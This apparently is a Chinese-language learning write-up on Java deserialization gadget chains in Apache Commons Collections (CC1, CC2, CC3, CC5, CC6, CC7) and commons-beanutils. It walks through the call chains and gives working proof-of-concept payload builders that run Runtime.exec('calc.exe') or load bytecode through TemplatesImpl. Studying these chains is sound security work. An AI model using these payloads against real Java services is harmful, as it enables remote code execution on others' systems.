前言 java是由类编写的,它的反序列化牵扯到很多底层的东西,它的起点常常为readobject方法
Java 序列化和反序列化 当一个类需要被序列化和反序列化时,它必须 实现 java.io.Serializable 接口
在Java反序列化的过程中,反序列化一个对象时,如果该对象的类实现了 java.io.Serializable 接口,并且定义了私有方法 readObject(),则在反序列化过程中会调用该自定义的 readObject() 方法。(readObject方法内调用的方法可以不用必须实现 java.io.Serializable 接口)
1 2 3 4 5 6 7 8 9 10 readObject:1407, HashMap (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1158, ObjectStreamClass (java.io) readSerialData:2169, ObjectInputStream (java.io) readOrdinaryObject:2060, ObjectInputStream (java.io) readObject0:1567, ObjectInputStream (java.io) readObject:427, ObjectInputStream (java.io)
要序列化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import java.io.Serializable;public class student implements Serializable { private int age; private String name; private String sex;n public student () {} public student (int age,String name,String sex) { this .age=age; this .name=name; this .sex=sex; } public int getAge () { return age; } public String getName () { return name; } public String getSex () { return sex; } public void setAge (int age) { this .age = age; } public void setName (String name) { this .name = name; } public void setSex (String sex) { this .sex = sex; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.io.*;import java.lang.reflect.InvocationTargetException;public class test { public static void main (String[] args) throws Exception { student obj = new student(18 ,"Arsene.Tang" ,"男" ); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oo = new ObjectOutputStream(barr); oo.writeObject(obj); oo.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); student s = (student) o; System.out.println("您的姓名为:" +s.getName()+" 您的年龄为:" +s.getAge()+" 您的性别为:" +s.getSex()); } }
map 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Map<String, Integer> map = new HashMap<>(); map.put("apple" , 1 ); int appleValue = map.get("apple" ); System.out.println("The value of 'apple' is: " + appleValue); boolean containsKey = map.containsKey("banana" ); for (Map.Entry<String, Integer> entry : map.entrySet()) { String key = entry.getKey(); int value = entry.getValue(); System.out.println("Key: " + key + ", Value: " + value); } map.remove("orange" ); map.clear();
cc链 Java Commons Collections是一个广泛使用的Java类库,提供了一组高效且易于使用的数据结构和算法。它扩展了Java集合框架,提供了许多有用的集合类和工具类,以解决常见的编程问题。
Transformer的transform方法接受一个输入对象,并返回一个转换后的对象
1 2 3 4 5 public interface Transformer { public Object transform (Object input) ; }
在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回
1 2 3 4 5 6 7 8 9 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' does not exist" );} catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' cannot be accessed" );} catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex);} }
ChainedTransformer类封装了Transformer的链式调用 ,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformer的transform方法。
1 2 3 4 5 6 7 8 9 10 11 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
TransformedMap类是一个装饰器类,TransformedMap.decorate方法通过装饰器模式来创建一个转换后的映射对象。当对转换后映射对象的键和值进行改变或添加时,会执行相对应的Transformer.transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); } public Set entrySet () { if (isSetValueChecking()) { return new EntrySet(map.entrySet(), this ); } else { return map.entrySet(); } } static class EntrySet extends AbstractSetDecorator { public Iterator iterator () { return new EntrySetIterator(collection.iterator(), parent); } } static class EntrySetIterator extends AbstractIteratorDecorator { public Object next () { Map.Entry entry = (Map.Entry) iterator.next(); return new MapEntry(entry, parent); } } static class MapEntry extends AbstractMapEntryDecorator { public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
AnnotationInvocationHandler sun.reflect.annotation.AnnotationInvocationHandler 是 Java 平台内部使用的类,并不是公共 API 的一部分,实现了java.lang.reflect.InvocationHandler(Java动态代理)接口 和java.io.Serializable接口 ,它还重写了readObject 方法,在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法 ,是Java 反射机制中用来处理注解代理的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package sun.reflect.annotation;class AnnotationInvocationHandler implements InvocationHandler , Serializable {AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." ); } } public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else if (var5.length != 0 ) { throw new AssertionError("Too many parameters for an annotation method" ); } else { switch (var4) { case "toString" : return this .toStringImpl(); case "hashCode" : return this .hashCodeImpl(); case "annotationType" : return this .type; default : Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException(this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } } private void readObject (java.io.ObjectInputStream var1) throws java.io.IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type);} catch (IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream" ); } Map var3= var2.memberTypes(); Iterator var4=this .memberValues.entrySet().iterator(); while (var4.hasNext()){ Entry var5=(Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(name); if (var7 != null ) { Object var8 = var5.getValue(); if (!(var7.isInstance(var8) || var8 instanceof ExceptionProxy)) { var5.setValue( new AnnotationTypeMismatchExceptionProxy( var8.getClass() + "[" + var8 + "]" ).setMember(var2.members().get(var6)));}}}} }
ObjectInputStream.readObject() ->AnnotationInvocationHandler.readObject() ->TransformedMap.entrySet().iterator().next().setValue() ->TransformedMap.checkSetValue() ->TransformedMap.transform() ->ChainedTransformer.transform()//只要调用transform就行了,不用纠结传参的值,因为ConstantTransformer.transform()的值和传入的参数无关
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class CommonCollections1_2 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[] { String.class }, new String[] {"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" , "abc" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); Object obj = construct.newInstance(Retention.class, outerMap); InvocationHandler handler = (InvocationHandler) obj; ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); System.out.println("对象序列化成功!" ); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); System.out.println("对象反序列化成功!" ); } }
LazyMap 的漏洞触发点和TransformedMap 唯一的差别是在LazyMap的get方法中执行的transform
LazyMap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } this .factory = factory; } public static Map decorate (Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
在AnnotationInvocationHandler类中的invoke方法中有调用到get,而动态代理 就调用了invoke方法 ,而AnnotationInvocationHandler类恰好是InvocationHandler 的实现类
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet()//调用动态代理的方法触发invoke AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform()
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
cc6–TiedMapEntry#hashcode触发get CC1的链在jdk-8u71 之后因为AnnotationInvocationHandler 的修改已无法利用,使用TiedMapEntry#hashCode 触发LazyMap#get 方法,相比之下cc6相对更加通用,
TiedMapEntry 该类主要用于将 Map 中的 Entry 与外部对象进行绑定,以便在修改 Entry 的值时能够同时修改外部对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.apache.commons.collections.keyvalue;import java.io.Serializable;import java.util.Map;import java.util.Map.Entry;import org.apache.commons.collections.KeyValue;public class TiedMapEntry implements Entry , KeyValue , Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; } public Object getKey () { return this .key; } public Object getValue () { return this .map.get(this .key); } public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); } }
HashMap HashMap 是 Map 接口的一个实现类,HashMap 提供了高效的键值对存储和查找功能,允许键和值为 null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class HashMap <K ,V > extends AbstractMap <K ,V > implements Map <K ,V >, Cloneable , Serializable { public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
java.util.HashMap.readObject()
java.util.HashMap.hash()//调用第一个参数key的hashCode方法
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()//调用第一个参数map的get方法,且传入值为第二个参数key(上述参数为TiedMapEntry构造方法传入的参数)
org.apache.commons.collections.map.LazyMap.get(key)//调用LazyMap第二个参数factory的transform方法
org.apache.commons.collections.functors.ChainedTransformer.transform(key)
//可以将key设置TemplatesImpl对象,factory设置为InvokerTransformer实现调用TemplatesImpl#newTransformer
ysoserial 的操作(这里只看思路) java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash()
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.HashMap;import java.util.Map;public class CommonsCollections6_1 { public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{ Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class }, new String[]{"calc.exe" }) }; Transformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos" ); Map hashMap = new HashMap(); hashMap.put(tiedMapEntry, "value" ); outerMap.clear(); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer, transformers); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(hashMap); oos.close(); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); ois.close(); } }
cc5-TiedMapEntry#toString触发get 这个 gadget 只能在8u76之后用 ,原因在于 8u76 为 BadAttributeValueExpException 添加了 readObject(这里应该把5放到6前面的,懒得改了 )
在 CC6 中是通过 TiedMapEntry#hashCode 来触发,在 CC5 中我们使用了TiedMapEntry#toString 来触发LazyMap#get ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get()
1 2 3 4 5 6 7 8 9 10 HashMap<Object, Object> hashMap = new HashMap<>(); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null ); Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class; Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val" ); valField.setAccessible(true ); valField.set(badAttributeValueExpException, tiedMapEntry);
CC 3.2.2 后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中
很多的反序列化过滤器也都过滤掉了InvokerTransformer 例如,Java 序列化过滤器(ObjectInputFilter)可以通过 rejectProxyClass 和 rejectFilter 配置项来过滤恶意类,并拒绝 InvokerTransformer 的使用。
TemplatesImpl加载字节码时是由newTransformer 来触发的(详细见我的上一篇文章)
InstantiateTransformer类也是实现了Transformer接口的一个类,而它的作用是调用构造方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class InstantiateTransformer implements Transformer , Serializable { public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException" , var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public" , var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception" , var9); } } }
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter ,在这个类的构造方法中,就正好调用了(TransformerImpl) templates.newTransformer()
示例 InstantiateTransformer.transform TrAXFilter.TrAXFilter TransformerImpl.newTransformer TransletClassLoader#defineClass()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("字节码..." ); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "Arsene.Tang" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj }) }; Transformer transformersChain = new ChainedTransformer(transformers);
基于collections4特有的利用链 PriorityQueue#readObject() TransformingComparator.compare() InvokerTransformer.transform() … transform后其实也可以走cc3
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import java.io.*;import java.util.Comparator;import java.util.PriorityQueue;import java.util.Queue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import static ysoserial.payloads.util.Reflections.setFieldValue;public class CommonsCollections2_1 { public static void main (String[] args) throws Exception { Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1 )}; Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer(faketransfromer); Comparator comparator = new TransformingComparator(transformerChain); Queue queue = new PriorityQueue(2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(transformerChain,"iTransformers" ,transformer); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
cc7–原生Hashtable触发get 前言 之前看[D^3CTF]shorter
这道题考的rome链缩减,总是看不懂,后来才发现和cc7这条链子关系很大,所以赶紧补上了,自学好难啊
Hashtable 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class Hashtable <K ,V > extends Dictionary <K ,V > implements Map <K ,V >, Cloneable , java .io .Serializable { private transient Entry<?,?>[] table; private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { int elements = s.readInt(); table = new Entry<?,?>[length]; ............. for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } } private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; } protected Entry (int hash, K key, V value, Entry<K,V> next) { this .hash = hash; this .key = key; this .value = value; this .next = next; }
hash计算流程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 key.hashCode(); public int hashCode () { int h = 0 ; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h; } public final int hashCode () { return Objects.hashCode(key) ^ Objects.hashCode(value); } public int hashCode () { int h = hash; if (h == 0 && value.length > 0 ) { char val[] = value; for (int i = 0 ; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
AbstractMap hashmap的equals方法继承与其父类AbstractMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public abstract class AbstractMap <K ,V > implements Map <K ,V > {public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get ……..
1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 );
CB链 在commons-beanutils中就提供了一种静态方法,让使用者可以直接调用任意JavaBean的getter方法,比如:PropertyUtils.getProperty(people,"name");
成功调用到了people对象的getName()方法
cb链主要思想是利用getProperty调用getOutputProperties,从而调用其中的newTransformer,cb链其实是cc3和cc2的结合 PriorityQueue#readObject() siftDownUsingComparator() BeanComparato.compare() PropertyUtils.getProperty TemplatesImpl#getOutputProperties TemplatesImpl#newTransformer …
示例 1 2 3 4 5 6 BeanComparator comparator = new BeanComparator(); Queue queue = new PriorityQueue(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object[]{obj, obj});